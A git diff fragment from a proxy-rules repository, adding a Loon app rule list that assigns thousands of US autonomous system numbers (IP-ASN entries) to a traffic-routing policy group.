146284 +IP-ASN, 146283 +IP-ASN, 146286 +IP-ASN, 146285 +IP-ASN, 146280 +IP-ASN, 138679 +IP-ASN, 146282 +IP-ASN, 146281 +IP-ASN, 146288 +IP-ASN, 146287 +IP-ASN, 146289 +IP-ASN, 150373 +IP-ASN, 150374 +IP-ASN, 42962 +IP-ASN, 142752 +IP-ASN, 142751 +IP-ASN, 142750 +IP-ASN, 142756 +IP-ASN, 141425 +IP-ASN, 142755 +IP-ASN, 214843 +IP-ASN, 142754 +IP-ASN, 142753 +IP-ASN, 142759 +IP-ASN, 141429 +IP-ASN, 142758 +IP-ASN, 142757 +IP-ASN, 142739 +IP-ASN, 209484 +IP-ASN, 197856 +IP-ASN, 142741 +IP-ASN, 139100 +IP-ASN, 142740 +IP-ASN, 142745 +IP-ASN, 142744 +IP-ASN, 142743 +IP-ASN, 142742 +IP-ASN, 142749 +IP-ASN, 142748 +IP-ASN, 142747 +IP-ASN, 142746 +IP-ASN, 142729 +IP-ASN, 142728 +IP-ASN, 142730 +IP-ASN, 142734 +IP-ASN, 142733 +IP-ASN, 142732 +IP-ASN, 142731 +IP-ASN, 142738 +IP-ASN, 142737 +IP-ASN, 142736 +IP-ASN, 142735 +IP-ASN, 38019 +IP-ASN, 142719 +IP-ASN, 142718 +IP-ASN, 142717 +IP-ASN, 151673 +IP-ASN, 151674 +IP-ASN, 142723 +IP-ASN, 142722 +IP-ASN, 142721 +IP-ASN, 142720 +IP-ASN, 142727 +IP-ASN, 142726 +IP-ASN, 38027 +IP-ASN, 142725 +IP-ASN, 142724 +IP-ASN, 143081 +IP-ASN, 143080 +IP-ASN, 146110 +IP-ASN, 45113 +IP-ASN, 143085 +IP-ASN, 143084 +IP-ASN, 143083 +IP-ASN, 143082 +IP-ASN, 146116 +IP-ASN, 143089 +IP-ASN, 146115 +IP-ASN, 143088 +IP-ASN, 203236 +IP-ASN, 146118 +IP-ASN, 143087 +IP-ASN, 146117 +IP-ASN, 143086 +IP-ASN, 146112 +IP-ASN, 146111 +IP-ASN, 146114 +IP-ASN, 146113 +IP-ASN, 146119 +IP-ASN, 38834 +IP-ASN, 143070 +IP-ASN, 143074 +IP-ASN, 143073 +IP-ASN, 143072 +IP-ASN, 143071 +IP-ASN, 146105 +IP-ASN, 143078 +IP-ASN, 146104 +IP-ASN, 143077 +IP-ASN, 146107 +IP-ASN, 143076 +IP-ASN, 146106 +IP-ASN, 143075 +IP-ASN, 146101 +IP-ASN, 146100 +IP-ASN, 146103 +IP-ASN, 146102 +IP-ASN, 143079 +IP-ASN, 146109 +IP-ASN, 146108 +IP-ASN, 136766 +IP-ASN, 212164 +IP-ASN, 135432 +IP-ASN, 144391 +IP-ASN, 144392 +IP-ASN, 144393 +IP-ASN, 144394 +IP-ASN, 143063 +IP-ASN, 4538 +IP-ASN, 143062 +IP-ASN, 143061 +IP-ASN, 144390 +IP-ASN, 143060 +IP-ASN, 144399 +IP-ASN, 143067 +IP-ASN, 143066 +IP-ASN, 143065 +IP-ASN, 143064 +IP-ASN, 144395 +IP-ASN, 144396 +IP-ASN, 144397 +IP-ASN, 143069 +IP-ASN, 144398 +IP-ASN, 143068 +IP-ASN, 58448 +IP-ASN, 58466 +IP-ASN, 58461 +IP-ASN, 144380 +IP-ASN, 144381 +IP-ASN, 144382 +IP-ASN, 144383 +IP-ASN, 143052 +IP-ASN, 143051 +IP-ASN, 143050 +IP-ASN, 144388 +IP-ASN, 143056 +IP-ASN, 144389 +IP-ASN, 143055 +IP-ASN, 143054 +IP-ASN, 143053 +IP-ASN, 144384 +IP-ASN, 144385 +IP-ASN, 143059 +IP-ASN, 144386 +IP-ASN, 143058 +IP-ASN, 144387 +IP-ASN, 143057 +IP-ASN, 134169 +IP-ASN, 146152 +IP-ASN, 146151 +IP-ASN, 146154 +IP-ASN, 146153 +IP-ASN, 146150 +IP-ASN, 139859 +IP-ASN, 23771 +IP-ASN, 146159 +IP-ASN, 146156 +IP-ASN, 146155 +IP-ASN, 146158 +IP-ASN, 146157 +IP-ASN, 140852 +IP-ASN, 140853 +IP-ASN, 140856 +IP-ASN, 140857 +IP-ASN, 140854 +IP-ASN, 140855 +IP-ASN, 146141 +IP-ASN, 146140 +IP-ASN, 146143 +IP-ASN, 146142 +IP-ASN, 138538 +IP-ASN, 146149 +IP-ASN, 146148 +IP-ASN, 146145 +IP-ASN, 146144 +IP-ASN, 146147 +IP-ASN, 146146 +IP-ASN, 146130 +IP-ASN, 146132 +IP-ASN, 146131 +IP-ASN, 146138 +IP-ASN, 146137 +IP-ASN, 146139 +IP-ASN, 146134 +IP-ASN, 146133 +IP-ASN, 146136 +IP-ASN, 146135 +IP-ASN, 63835 +IP-ASN, 63838 +IP-ASN, 143092 +IP-ASN, 143091 +IP-ASN, 146121 +IP-ASN, 143090 +IP-ASN, 146120 +IP-ASN, 138513 +IP-ASN, 143096 +IP-ASN, 138514 +IP-ASN, 143095 +IP-ASN, 143094 +IP-ASN, 143093 +IP-ASN, 138517 +IP-ASN, 146127 +IP-ASN, 146126 +IP-ASN, 143099 +IP-ASN, 146129 +IP-ASN, 143098 +IP-ASN, 146128 +IP-ASN, 143097 +IP-ASN, 146123 +IP-ASN, 146122 +IP-ASN, 146125 +IP-ASN, 205825 +IP-ASN, 146124 +IP-ASN, 17968 +IP-ASN, 17969 +IP-ASN, 145664 +IP-ASN, 144333 +IP-ASN, 143001 +IP-ASN, 145665 +IP-ASN, 144334 +IP-ASN, 143000 +IP-ASN, 145666 +IP-ASN, 144335 +IP-ASN, 145667 +IP-ASN, 144336 +IP-ASN, 145660 +IP-ASN, 143005 +IP-ASN, 145661 +IP-ASN, 144330 +IP-ASN, 143004 +IP-ASN, 145662 +IP-ASN, 144331 +IP-ASN, 143003 +IP-ASN, 145663 +IP-ASN, 144332 +IP-ASN, 143002 +IP-ASN, 143009 +IP-ASN, 143008 +IP-ASN, 143007 +IP-ASN, 143006 +IP-ASN, 145668 +IP-ASN, 144337 +IP-ASN, 145669 +IP-ASN, 144338 +IP-ASN, 144339 +IP-ASN, 208993 +IP-ASN, 145653 +IP-ASN, 144322 +IP-ASN, 145654 +IP-ASN, 144323 +IP-ASN, 145655 +IP-ASN, 144324 +IP-ASN, 145656 +IP-ASN, 144325 +IP-ASN, 145650 +IP-ASN, 145651 +IP-ASN, 144320 +IP-ASN, 145652 +IP-ASN, 144321 +IP-ASN, 17964 +IP-ASN, 145657 +IP-ASN, 144326 +IP-ASN, 145658 +IP-ASN, 144327 +IP-ASN, 17962 +IP-ASN, 145659 +IP-ASN, 144328 +IP-ASN, 144329 +IP-ASN, 145642 +IP-ASN, 144311 +IP-ASN, 145643 +IP-ASN, 144312 +IP-ASN, 145644 +IP-ASN, 144313 +IP-ASN, 145645 +IP-ASN, 144314 +IP-ASN, 24239 +IP-ASN, 145640 +IP-ASN, 145641 +IP-ASN, 144310 +IP-ASN, 144319 +IP-ASN, 9389 +IP-ASN, 145646 +IP-ASN, 144315 +IP-ASN, 145647 +IP-ASN, 144316 +IP-ASN, 145648 +IP-ASN, 144317 +IP-ASN, 9384 +IP-ASN, 145649 +IP-ASN, 144318 +IP-ASN, 134993 +IP-ASN, 9394 +IP-ASN, 206315 +IP-ASN, 145631 +IP-ASN, 144300 +IP-ASN, 145632 +IP-ASN, 144301 +IP-ASN, 9392 +IP-ASN, 145633 +IP-ASN, 144302 +IP-ASN, 145634 +IP-ASN, 144303 +IP-ASN, 145630 +IP-ASN, 145639 +IP-ASN, 144308 +IP-ASN, 144309 +IP-ASN, 145635 +IP-ASN, 144304 +IP-ASN, 146966 +IP-ASN, 145636 +IP-ASN, 144305 +IP-ASN, 145637 +IP-ASN, 144306 +IP-ASN, 145638 +IP-ASN, 144307 +IP-ASN, 144370 +IP-ASN, 144371 +IP-ASN, 144372 +IP-ASN, 143041 +IP-ASN, 143040 +IP-ASN, 144377 +IP-ASN, 143045 +IP-ASN, 144378 +IP-ASN, 143044 +IP-ASN, 144379 +IP-ASN, 143043 +IP-ASN, 143042 +IP-ASN, 144373 +IP-ASN, 143049 +IP-ASN, 144374 +IP-ASN, 143048 +IP-ASN, 144375 +IP-ASN, 143047 +IP-ASN, 144376 +IP-ASN, 143046 +IP-ASN, 145690 +IP-ASN, 145691 +IP-ASN, 144360 +IP-ASN, 145692 +IP-ASN, 144361 +IP-ASN, 143030 +IP-ASN, 145697 +IP-ASN, 144366 +IP-ASN, 143034 +IP-ASN, 145698 +IP-ASN, 144367 +IP-ASN, 143033 +IP-ASN, 145699 +IP-ASN, 144368 +IP-ASN, 143032 +IP-ASN, 144369 +IP-ASN, 143031 +IP-ASN, 145693 +IP-ASN, 144362 +IP-ASN, 143038 +IP-ASN, 145694 +IP-ASN, 144363 +IP-ASN, 143037 +IP-ASN, 145695 +IP-ASN, 144364 +IP-ASN, 143036 +IP-ASN, 145696 +IP-ASN, 144365 +IP-ASN, 143035 +IP-ASN, 143039 +IP-ASN, 145680 +IP-ASN, 145681 +IP-ASN, 144350 +IP-ASN, 145686 +IP-ASN, 144355 +IP-ASN, 143023 +IP-ASN, 145687 +IP-ASN, 144356 +IP-ASN, 143022 +IP-ASN, 145688 +IP-ASN, 144357 +IP-ASN, 143021 +IP-ASN, 45101 +IP-ASN, 145689 +IP-ASN, 144358 +IP-ASN, 143020 +IP-ASN, 145682 +IP-ASN, 144351 +IP-ASN, 143027 +IP-ASN, 145683 +IP-ASN, 144352 +IP-ASN, 143026 +IP-ASN, 145684 +IP-ASN, 144353 +IP-ASN, 143025 +IP-ASN, 145685 +IP-ASN, 144354 +IP-ASN, 143024 +IP-ASN, 143029 +IP-ASN, 143028 +IP-ASN, 144359 +IP-ASN, 45106 +IP-ASN, 145670 +IP-ASN, 45102 +IP-ASN, 145675 +IP-ASN, 144344 +IP-ASN, 143012 +IP-ASN, 45110 +IP-ASN, 145676 +IP-ASN, 144345 +IP-ASN, 143011 +IP-ASN, 145677 +IP-ASN, 144346 +IP-ASN, 143010 +IP-ASN, 145678 +IP-ASN, 144347 +IP-ASN, 145671 +IP-ASN, 144340 +IP-ASN, 143016 +IP-ASN, 145672 +IP-ASN, 144341 +IP-ASN, 143015 +IP-ASN, 145673 +IP-ASN, 144342 +IP-ASN, 143014 +IP-ASN, 145674 +IP-ASN, 144343 +IP-ASN, 143013 +IP-ASN, 143019 +IP-ASN, 143018 +IP-ASN, 143017 +IP-ASN, 145679 +IP-ASN, 144348 +IP-ASN, 144349 +IP-ASN, 139018 +IP-ASN, 139019 +IP-ASN, 142671 +IP-ASN, 142670 +IP-ASN, 145700 +IP-ASN, 142675 +IP-ASN, 142674 +IP-ASN, 142673 +IP-ASN, 142672 +IP-ASN, 7586 +IP-ASN, 145705 +IP-ASN, 142679 +IP-ASN, 145706 +IP-ASN, 142678 +IP-ASN, 145707 +IP-ASN, 142677 +IP-ASN, 145708 +IP-ASN, 142676 +IP-ASN, 145701 +IP-ASN, 145702 +IP-ASN, 145703 +IP-ASN, 145704 +IP-ASN, 149292 +IP-ASN, 143991 +IP-ASN, 142660 +IP-ASN, 143990 +IP-ASN, 143995 +IP-ASN, 142664 +IP-ASN, 143994 +IP-ASN, 142663 +IP-ASN, 143993 +IP-ASN, 142662 +IP-ASN, 143992 +IP-ASN, 142661 +IP-ASN, 143999 +IP-ASN, 142668 +IP-ASN, 143998 +IP-ASN, 142667 +IP-ASN, 143997 +IP-ASN, 142666 +IP-ASN, 143996 +IP-ASN, 142665 +IP-ASN, 142669 +IP-ASN, 9308 +IP-ASN, 9306 +IP-ASN, 143980 +IP-ASN, 143984 +IP-ASN, 142653 +IP-ASN, 143983 +IP-ASN, 142652 +IP-ASN, 143982 +IP-ASN, 142651 +IP-ASN, 143981 +IP-ASN, 142650 +IP-ASN, 143988 +IP-ASN, 142657 +IP-ASN, 143987 +IP-ASN, 142656 +IP-ASN, 143986 +IP-ASN, 142655 +IP-ASN, 143985 +IP-ASN, 142654 +IP-ASN, 142659 +IP-ASN, 143989 +IP-ASN, 142658 +IP-ASN, 209300 +IP-ASN, 139007 +IP-ASN, 209306 +IP-ASN, 143973 +IP-ASN, 142642 +IP-ASN, 143972 +IP-ASN, 143971 +IP-ASN, 143970 +IP-ASN, 143977 +IP-ASN, 143976 +IP-ASN, 143975 +IP-ASN, 143974 +IP-ASN, 143979 +IP-ASN, 143978 +IP-ASN, 200959 +IP-ASN, 200954 +IP-ASN, 145741 +IP-ASN, 144410 +IP-ASN, 145742 +IP-ASN, 144411 +IP-ASN, 140053 +IP-ASN, 145743 +IP-ASN, 144412 +IP-ASN, 145744 +IP-ASN, 144413 +IP-ASN, 140056 +IP-ASN, 145740 +IP-ASN, 145749 +IP-ASN, 144418 +IP-ASN, 144419 +IP-ASN, 145745 +IP-ASN, 144414 +IP-ASN, 17897 +IP-ASN, 145746 +IP-ASN, 144415 +IP-ASN, 145747 +IP-ASN, 144416 +IP-ASN, 145748 +IP-ASN, 144417 +IP-ASN, 132437 +IP-ASN, 145730 +IP-ASN, 145731 +IP-ASN, 144400 +IP-ASN, 145732 +IP-ASN, 144401 +IP-ASN, 145733 +IP-ASN, 144402 +IP-ASN, 140043 +IP-ASN, 145738 +IP-ASN, 144407 +IP-ASN, 145739 +IP-ASN, 144408 +IP-ASN, 144409 +IP-ASN, 145734 +IP-ASN, 144403 +IP-ASN, 145735 +IP-ASN, 144404 +IP-ASN, 139061 +IP-ASN, 145736 +IP-ASN, 144405 +IP-ASN, 145737 +IP-ASN, 144406 +IP-ASN, 200936 +IP-ASN, 142693 +IP-ASN, 145720 +IP-ASN, 142692 +IP-ASN, 145721 +IP-ASN, 142691 +IP-ASN, 145722 +IP-ASN, 142690 +IP-ASN, 142697 +IP-ASN, 142696 +IP-ASN, 142695 +IP-ASN, 142694 +IP-ASN, 145727 +IP-ASN, 145728 +IP-ASN, 145729 +IP-ASN, 142699 +IP-ASN, 142698 +IP-ASN, 145723 +IP-ASN, 145724 +IP-ASN, 145725 +IP-ASN, 145726 +IP-ASN, 145709 +IP-ASN, 24150 +IP-ASN, 24151 +IP-ASN, 24147 +IP-ASN, 142682 +IP-ASN, 142681 +IP-ASN, 24149 +IP-ASN, 145710 +IP-ASN, 142680 +IP-ASN, 145711 +IP-ASN, 142686 +IP-ASN, 142685 +IP-ASN, 142684 +IP-ASN, 142683 +IP-ASN, 145716 +IP-ASN, 145717 +IP-ASN, 142689 +IP-ASN, 145718 +IP-ASN, 142688 +IP-ASN, 145719 +IP-ASN, 142687 +IP-ASN, 145712 +IP-ASN, 145713 +IP-ASN, 145714 +IP-ASN, 145715 +IP-ASN, 143919 +IP-ASN, 143918 +IP-ASN, 146190 +IP-ASN, 143917 +IP-ASN, 143916 +IP-ASN, 146196 +IP-ASN, 23724 +IP-ASN, 146195 +IP-ASN, 146198 +IP-ASN, 146197 +IP-ASN, 146192 +IP-ASN, 146191 +IP-ASN, 146194 +IP-ASN, 146193 +IP-ASN, 45083 +IP-ASN, 45084 +IP-ASN, 146199 +IP-ASN, 45086 +IP-ASN, 143922 +IP-ASN, 143921 +IP-ASN, 143920 +IP-ASN, 140895 +IP-ASN, 143926 +IP-ASN, 143925 +IP-ASN, 143924 +IP-ASN, 143923 +IP-ASN, 143908 +IP-ASN, 143907 +IP-ASN, 143906 +IP-ASN, 143905 +IP-ASN, 143909 +IP-ASN, 146185 +IP-ASN, 146184 +IP-ASN, 146187 +IP-ASN, 146186 +IP-ASN, 146181 +IP-ASN, 146180 +IP-ASN, 146183 +IP-ASN, 146182 +IP-ASN, 138570 +IP-ASN, 146189 +IP-ASN, 146188 +IP-ASN, 45090 +IP-ASN, 143911 +IP-ASN, 140886 +IP-ASN, 143910 +IP-ASN, 143915 +IP-ASN, 143914 +IP-ASN, 143913 +IP-ASN, 143912 +IP-ASN, 146174 +IP-ASN, 146173 +IP-ASN, 138545 +IP-ASN, 146176 +IP-ASN, 146175 +IP-ASN, 146170 +IP-ASN, 146172 +IP-ASN, 146171 +IP-ASN, 146178 +IP-ASN, 146177 +IP-ASN, 146179 +IP-ASN, 143900 +IP-ASN, 143904 +IP-ASN, 143903 +IP-ASN, 143902 +IP-ASN, 143901 +IP-ASN, 140858 +IP-ASN, 140859 +IP-ASN, 146163 +IP-ASN, 146162 +IP-ASN, 139887 +IP-ASN, 200103 +IP-ASN, 146165 +IP-ASN, 139888 +IP-ASN, 146164 +IP-ASN, 146161 +IP-ASN, 146160 +IP-ASN, 146167 +IP-ASN, 146166 +IP-ASN, 140860 +IP-ASN, 146169 +IP-ASN, 146168 +IP-ASN, 140863 +IP-ASN, 140861 +IP-ASN, 140862 +IP-ASN, 143962 +IP-ASN, 143961 +IP-ASN, 143960 +IP-ASN, 143966 +IP-ASN, 143965 +IP-ASN, 143964 +IP-ASN, 143963 +IP-ASN, 143969 +IP-ASN, 143968 +IP-ASN, 143967 +IP-ASN, 143949 +IP-ASN, 143951 +IP-ASN, 143950 +IP-ASN, 143955 +IP-ASN, 143954 +IP-ASN, 143953 +IP-ASN, 143952 +IP-ASN, 143959 +IP-ASN, 143958 +IP-ASN, 143957 +IP-ASN, 143956 +IP-ASN, 142608 +IP-ASN, 143939 +IP-ASN, 143938 +IP-ASN, 137256 +IP-ASN, 143940 +IP-ASN, 143944 +IP-ASN, 143943 +IP-ASN, 142611 +IP-ASN, 143942 +IP-ASN, 143941 +IP-ASN, 143948 +IP-ASN, 143947 +IP-ASN, 143946 +IP-ASN, 143945 +IP-ASN, 143929 +IP-ASN, 143928 +IP-ASN, 143927 +IP-ASN, 138597 +IP-ASN, 137266 +IP-ASN, 143933 +IP-ASN, 143932 +IP-ASN, 143931 +IP-ASN, 143930 +IP-ASN, 143937 +IP-ASN, 143936 +IP-ASN, 143935 +IP-ASN, 143934 diff --git a/Loon/rule/ASN/ASN-US.list b/Loon/rule/ASN/ASN-US.list new file mode 100644 index 00000000..61b83c28 --- /dev/null +++ b/Loon/rule/ASN/ASN-US.list @@ -0,0 +1,18890 @@ +#!name=奶思🍒ASN.US +#!desc=美国地区的ASN,大约18880条,选择你需要分流到的策略组 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/ASN/ASN-US.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-02 15:15:00 +############################################# + +IP-ASN, 55282 +IP-ASN, 55283 +IP-ASN, 55281 +IP-ASN, 55284 +IP-ASN, 637 +IP-ASN, 55279 +IP-ASN, 55277 +IP-ASN, 55278 +IP-ASN, 636 +IP-ASN, 634 +IP-ASN, 55293 +IP-ASN, 55291 +IP-ASN, 55292 +IP-ASN, 213384 +IP-ASN, 55295 +IP-ASN, 55290 +IP-ASN, 627 +IP-ASN, 200058 +IP-ASN, 656 +IP-ASN, 647 +IP-ASN, 32599 +IP-ASN, 32596 +IP-ASN, 32595 +IP-ASN, 32592 +IP-ASN, 32591 +IP-ASN, 32594 +IP-ASN, 32593 +IP-ASN, 32590 +IP-ASN, 200047 +IP-ASN, 32585 +IP-ASN, 32587 +IP-ASN, 32583 +IP-ASN, 32582 +IP-ASN, 615 +IP-ASN, 616 +IP-ASN, 619 +IP-ASN, 32578 +IP-ASN, 32577 +IP-ASN, 32579 +IP-ASN, 32576 +IP-ASN, 32575 +IP-ASN, 606 +IP-ASN, 609 +IP-ASN, 32567 +IP-ASN, 32566 +IP-ASN, 215988 +IP-ASN, 603 +IP-ASN, 32562 +IP-ASN, 600 +IP-ASN, 32565 +IP-ASN, 394165 +IP-ASN, 395497 +IP-ASN, 395498 +IP-ASN, 394167 +IP-ASN, 394161 +IP-ASN, 395494 +IP-ASN, 394163 +IP-ASN, 395495 +IP-ASN, 394169 +IP-ASN, 43217 +IP-ASN, 395490 +IP-ASN, 56521 +IP-ASN, 395491 +IP-ASN, 394160 +IP-ASN, 394176 +IP-ASN, 394177 +IP-ASN, 394178 +IP-ASN, 57872 +IP-ASN, 55210 +IP-ASN, 394173 +IP-ASN, 394174 +IP-ASN, 394175 +IP-ASN, 55208 +IP-ASN, 55209 +IP-ASN, 55203 +IP-ASN, 55200 +IP-ASN, 394170 +IP-ASN, 394171 +IP-ASN, 55201 +IP-ASN, 55204 +IP-ASN, 394187 +IP-ASN, 394183 +IP-ASN, 394184 +IP-ASN, 394185 +IP-ASN, 394186 +IP-ASN, 55219 +IP-ASN, 55214 +IP-ASN, 55211 +IP-ASN, 55217 +IP-ASN, 55215 +IP-ASN, 55216 +IP-ASN, 394198 +IP-ASN, 394199 +IP-ASN, 55231 +IP-ASN, 394194 +IP-ASN, 394195 +IP-ASN, 55232 +IP-ASN, 394196 +IP-ASN, 55230 +IP-ASN, 55224 +IP-ASN, 394191 +IP-ASN, 394193 +IP-ASN, 55223 +IP-ASN, 55229 +IP-ASN, 55226 +IP-ASN, 55227 +IP-ASN, 55243 +IP-ASN, 55240 +IP-ASN, 43256 +IP-ASN, 5080 +IP-ASN, 5081 +IP-ASN, 5088 +IP-ASN, 55236 +IP-ASN, 55234 +IP-ASN, 55250 +IP-ASN, 55253 +IP-ASN, 55251 +IP-ASN, 55252 +IP-ASN, 5091 +IP-ASN, 5090 +IP-ASN, 55246 +IP-ASN, 55247 +IP-ASN, 5098 +IP-ASN, 55244 +IP-ASN, 55248 +IP-ASN, 5097 +IP-ASN, 55249 +IP-ASN, 55260 +IP-ASN, 55261 +IP-ASN, 55264 +IP-ASN, 55265 +IP-ASN, 55263 +IP-ASN, 55257 +IP-ASN, 55256 +IP-ASN, 55259 +IP-ASN, 55270 +IP-ASN, 55273 +IP-ASN, 55274 +IP-ASN, 55268 +IP-ASN, 55266 +IP-ASN, 396861 +IP-ASN, 396860 +IP-ASN, 395531 +IP-ASN, 394201 +IP-ASN, 396862 +IP-ASN, 395532 +IP-ASN, 21828 +IP-ASN, 6379 +IP-ASN, 5048 +IP-ASN, 19507 +IP-ASN, 5049 +IP-ASN, 21821 +IP-ASN, 394206 +IP-ASN, 396868 +IP-ASN, 395538 +IP-ASN, 21822 +IP-ASN, 394209 +IP-ASN, 395533 +IP-ASN, 396865 +IP-ASN, 395534 +IP-ASN, 395535 +IP-ASN, 394204 +IP-ASN, 394205 +IP-ASN, 395536 +IP-ASN, 396866 +IP-ASN, 19512 +IP-ASN, 6377 +IP-ASN, 19514 +IP-ASN, 6373 +IP-ASN, 19510 +IP-ASN, 6372 +IP-ASN, 19511 +IP-ASN, 396872 +IP-ASN, 395540 +IP-ASN, 21818 +IP-ASN, 396871 +IP-ASN, 394210 +IP-ASN, 396874 +IP-ASN, 396873 +IP-ASN, 394212 +IP-ASN, 21817 +IP-ASN, 21814 +IP-ASN, 6389 +IP-ASN, 5058 +IP-ASN, 395548 +IP-ASN, 394217 +IP-ASN, 394218 +IP-ASN, 395549 +IP-ASN, 21811 +IP-ASN, 394219 +IP-ASN, 394213 +IP-ASN, 396875 +IP-ASN, 396878 +IP-ASN, 395547 +IP-ASN, 394216 +IP-ASN, 396877 +IP-ASN, 6385 +IP-ASN, 19503 +IP-ASN, 5056 +IP-ASN, 19504 +IP-ASN, 6382 +IP-ASN, 5050 +IP-ASN, 6384 +IP-ASN, 5052 +IP-ASN, 396883 +IP-ASN, 395551 +IP-ASN, 394220 +IP-ASN, 21808 +IP-ASN, 396882 +IP-ASN, 394221 +IP-ASN, 21805 +IP-ASN, 396885 +IP-ASN, 395553 +IP-ASN, 395554 +IP-ASN, 396884 +IP-ASN, 21806 +IP-ASN, 21803 +IP-ASN, 5069 +IP-ASN, 21801 +IP-ASN, 396881 +IP-ASN, 21802 +IP-ASN, 395550 +IP-ASN, 395559 +IP-ASN, 394229 +IP-ASN, 21800 +IP-ASN, 395555 +IP-ASN, 396887 +IP-ASN, 394225 +IP-ASN, 396886 +IP-ASN, 395556 +IP-ASN, 395558 +IP-ASN, 5065 +IP-ASN, 5068 +IP-ASN, 5062 +IP-ASN, 21809 +IP-ASN, 6394 +IP-ASN, 395562 +IP-ASN, 395563 +IP-ASN, 396893 +IP-ASN, 396896 +IP-ASN, 395565 +IP-ASN, 396895 +IP-ASN, 394234 +IP-ASN, 396890 +IP-ASN, 396892 +IP-ASN, 395560 +IP-ASN, 394230 +IP-ASN, 395566 +IP-ASN, 396898 +IP-ASN, 395567 +IP-ASN, 396897 +IP-ASN, 394236 +IP-ASN, 395568 +IP-ASN, 394238 +IP-ASN, 5078 +IP-ASN, 5073 +IP-ASN, 5008 +IP-ASN, 394242 +IP-ASN, 394244 +IP-ASN, 5009 +IP-ASN, 395576 +IP-ASN, 394245 +IP-ASN, 6334 +IP-ASN, 5006 +IP-ASN, 395571 +IP-ASN, 394240 +IP-ASN, 6337 +IP-ASN, 6336 +IP-ASN, 394241 +IP-ASN, 395572 +IP-ASN, 394246 +IP-ASN, 395577 +IP-ASN, 394247 +IP-ASN, 394248 +IP-ASN, 394249 +IP-ASN, 5000 +IP-ASN, 395584 +IP-ASN, 395585 +IP-ASN, 394254 +IP-ASN, 6349 +IP-ASN, 395586 +IP-ASN, 5015 +IP-ASN, 395580 +IP-ASN, 395581 +IP-ASN, 394250 +IP-ASN, 395582 +IP-ASN, 394251 +IP-ASN, 395583 +IP-ASN, 394252 +IP-ASN, 394257 +IP-ASN, 395589 +IP-ASN, 394258 +IP-ASN, 6341 +IP-ASN, 6343 +IP-ASN, 395595 +IP-ASN, 394264 +IP-ASN, 394265 +IP-ASN, 395597 +IP-ASN, 395598 +IP-ASN, 394260 +IP-ASN, 395591 +IP-ASN, 5026 +IP-ASN, 395592 +IP-ASN, 6356 +IP-ASN, 394262 +IP-ASN, 395593 +IP-ASN, 395594 +IP-ASN, 394263 +IP-ASN, 395599 +IP-ASN, 394268 +IP-ASN, 56508 +IP-ASN, 5022 +IP-ASN, 6352 +IP-ASN, 6354 +IP-ASN, 57833 +IP-ASN, 394275 +IP-ASN, 6368 +IP-ASN, 394271 +IP-ASN, 5036 +IP-ASN, 394272 +IP-ASN, 394274 +IP-ASN, 6369 +IP-ASN, 43204 +IP-ASN, 45863 +IP-ASN, 142561 +IP-ASN, 57848 +IP-ASN, 6364 +IP-ASN, 5033 +IP-ASN, 6363 +IP-ASN, 6366 +IP-ASN, 6360 +IP-ASN, 6362 +IP-ASN, 32560 +IP-ASN, 203990 +IP-ASN, 19592 +IP-ASN, 19593 +IP-ASN, 19594 +IP-ASN, 32559 +IP-ASN, 32556 +IP-ASN, 32558 +IP-ASN, 596 +IP-ASN, 19596 +IP-ASN, 32551 +IP-ASN, 32554 +IP-ASN, 19599 +IP-ASN, 6305 +IP-ASN, 32550 +IP-ASN, 6307 +IP-ASN, 6302 +IP-ASN, 6303 +IP-ASN, 21898 +IP-ASN, 21899 +IP-ASN, 21896 +IP-ASN, 21897 +IP-ASN, 21895 +IP-ASN, 32549 +IP-ASN, 19580 +IP-ASN, 19589 +IP-ASN, 32544 +IP-ASN, 6300 +IP-ASN, 32547 +IP-ASN, 32546 +IP-ASN, 18254 +IP-ASN, 32541 +IP-ASN, 32540 +IP-ASN, 19586 +IP-ASN, 589 +IP-ASN, 19587 +IP-ASN, 19588 +IP-ASN, 6319 +IP-ASN, 6318 +IP-ASN, 202639 +IP-ASN, 6315 +IP-ASN, 21889 +IP-ASN, 21885 +IP-ASN, 21886 +IP-ASN, 21884 +IP-ASN, 21881 +IP-ASN, 21882 +IP-ASN, 19570 +IP-ASN, 19571 +IP-ASN, 21891 +IP-ASN, 19572 +IP-ASN, 32538 +IP-ASN, 32537 +IP-ASN, 32539 +IP-ASN, 19578 +IP-ASN, 32534 +IP-ASN, 32533 +IP-ASN, 19579 +IP-ASN, 32535 +IP-ASN, 32530 +IP-ASN, 19574 +IP-ASN, 19575 +IP-ASN, 19576 +IP-ASN, 32532 +IP-ASN, 32531 +IP-ASN, 6325 +IP-ASN, 21879 +IP-ASN, 21876 +IP-ASN, 21877 +IP-ASN, 21874 +IP-ASN, 21873 +IP-ASN, 32526 +IP-ASN, 32529 +IP-ASN, 32528 +IP-ASN, 32522 +IP-ASN, 19569 +IP-ASN, 32525 +IP-ASN, 32524 +IP-ASN, 19564 +IP-ASN, 32520 +IP-ASN, 21869 +IP-ASN, 560 +IP-ASN, 21866 +IP-ASN, 21863 +IP-ASN, 21860 +IP-ASN, 32519 +IP-ASN, 19551 +IP-ASN, 32516 +IP-ASN, 203955 +IP-ASN, 19556 +IP-ASN, 32512 +IP-ASN, 32511 +IP-ASN, 555 +IP-ASN, 19557 +IP-ASN, 32514 +IP-ASN, 19558 +IP-ASN, 32513 +IP-ASN, 32510 +IP-ASN, 557 +IP-ASN, 19555 +IP-ASN, 21858 +IP-ASN, 21859 +IP-ASN, 19539 +IP-ASN, 21856 +IP-ASN, 21857 +IP-ASN, 21854 +IP-ASN, 395504 +IP-ASN, 395505 +IP-ASN, 396835 +IP-ASN, 202623 +IP-ASN, 395506 +IP-ASN, 21852 +IP-ASN, 396837 +IP-ASN, 395507 +IP-ASN, 395500 +IP-ASN, 396831 +IP-ASN, 395501 +IP-ASN, 21851 +IP-ASN, 395502 +IP-ASN, 8928 +IP-ASN, 396833 +IP-ASN, 395503 +IP-ASN, 32509 +IP-ASN, 32508 +IP-ASN, 32505 +IP-ASN, 396828 +IP-ASN, 32504 +IP-ASN, 32506 +IP-ASN, 543 +IP-ASN, 19545 +IP-ASN, 32501 +IP-ASN, 19546 +IP-ASN, 32500 +IP-ASN, 32503 +IP-ASN, 19541 +IP-ASN, 19542 +IP-ASN, 19543 +IP-ASN, 545 +IP-ASN, 396841 +IP-ASN, 21849 +IP-ASN, 396840 +IP-ASN, 395510 +IP-ASN, 19527 +IP-ASN, 19528 +IP-ASN, 19529 +IP-ASN, 21846 